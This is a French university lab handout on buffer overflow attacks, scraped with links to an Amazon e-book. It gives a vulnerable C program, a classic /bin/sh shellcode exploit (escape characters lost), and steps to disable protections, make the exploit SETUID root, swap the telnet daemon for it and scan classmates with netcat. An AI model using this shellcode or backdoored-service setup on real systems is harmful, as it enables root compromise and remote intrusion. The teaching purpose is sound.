Tutoriel attaque buffer overflow avec correction et rapport illustré pas à pas pour reproduire une vraie attaque B.O.
Version complète du document sur : http://www.amazon.com/dp/B00AWHGIIE
Motivación en la educación virtual y papel del ple
Tuto attaque Buffer Overflow: comment procéder ? tutoriel illustré
1. Master 2 ASR
Info 0915 : Sécurité des systèmes d'informations
TP - Durée 2h
www.yassine-benkirane.com
Attaque Buffer Overflow
Yassine BENKIRANE
Comprendre le principe de l'attaque :
I-Local exploit :
1.Récupérer l'image Fedora du site ci-dessous et l'installer à l'aide de VirtualBox :
http://ftp.free.fr/mirrors/fedora.redhat.com/fedora/linux/releases/14/Live/i686/Fedora-14-i686-Live-
Desktop.iso
2.Lancer un terminal en tant que root
3.Essayer de désactiver le patch exec-shield vu dans le cours. (google est votre ami!)
4.Installer le compilateur GCC à l'aide de la commande yum (pas d'apt-get ou aptitude on
travaille avec des packages de REDHAT )
5.Soit le programme suivant :
#include <stdio.h>
void demander_nom() {
char buffer_nom[20];
printf("Entrez votre nomn");
scanf("%s",&buffer_nom);
printf("Votre nom est %sn",buffer_nom);
}
int main() {
demander_nom();
return 0;
}
-Compilez ce programme avec gcc (en tant que simple user)tout en mettant un nom dépassant les 20
caractères.
2. Quesque vous remarquez ?
-Déboguer le programme à l'aide du débogeur gdb tout en mettant un nom dépassant les 20
caractéres.
N.B :Utiliser l'option 'r' du débogueur.
Quelle est l'adresse de retour que vous obtenez ?
-Essayez de visualisez l'adresse Hex du registre EIP en utilisant toujours le débogueur gdb.
Rappel: Registre eip comprend l'adresse de la prochaine instruction à exécuter
Quesque vous remarquez ?
6.Soit le code suivant :
#include <stdio.h>
#include <string.h>
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
char large_string[128];
int main(int argc, char **argv){
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < (int) strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer, large_string);
return 0;
}
3. -Compilez le programme en tant que simple user?Avez vous obtenu un shell en tant que root ?
==Utiliser la commande appropriée pour vérifier==
-Rendez le programme propriétaire de root et attribué à l'exploit le bit SETUID.
-Re-executer le programme ? Êtes vous root ?
-Le bit setuid par sécurité ne s'attribue plus aux fichiers exécutables d'une façon si limpide écrivez
un petit programme en bash pour contourner ce problème afin que votre exploit ai le bit SETUID
(google est votre ami!).
-Attribuez maintenant à votre nouveau programme le bit SETUID ainsi qu'il soit ''owner'' par root.
-Re-éxecuter le programme et vérifiez si cette fois-ci si vous êtes vraiment root ?
II-Remote exploit :
1-Installer le serveur telnet à l'aide de la commande yum.
2-Configurez ce dernier :
==>Mettez le en mode enable
==>Remplacer le démon in.telnetd par notre exploit
==>Redémarrer le serveur et assurer vous qu'il est en écoute à l'aide de la commande
netstat.(Faites un telnet localhost pour tester la connexion)
N.B:Si jamais vous avez un ''connection closes by foreign host pensez à désactiver le Selinux (C'est quoi==>google)
3-Test de l'exploit à distance :
==>Jetez un coup d'oeil sur l'outil netcut (man nc)
==>Faites un netcut sur l'un de vos amis
N.B:Utiliser netcut pour savoir si quelqu'un dans le réseau a le port 23 en écoute.
Afin d'avoir la correction de ce tp et ainsi un tutoriel illustré et pas à pas des différentes
étapes de ce tp rendez vous sur :
http://www.amazon.com/dp/B00AWHGIIE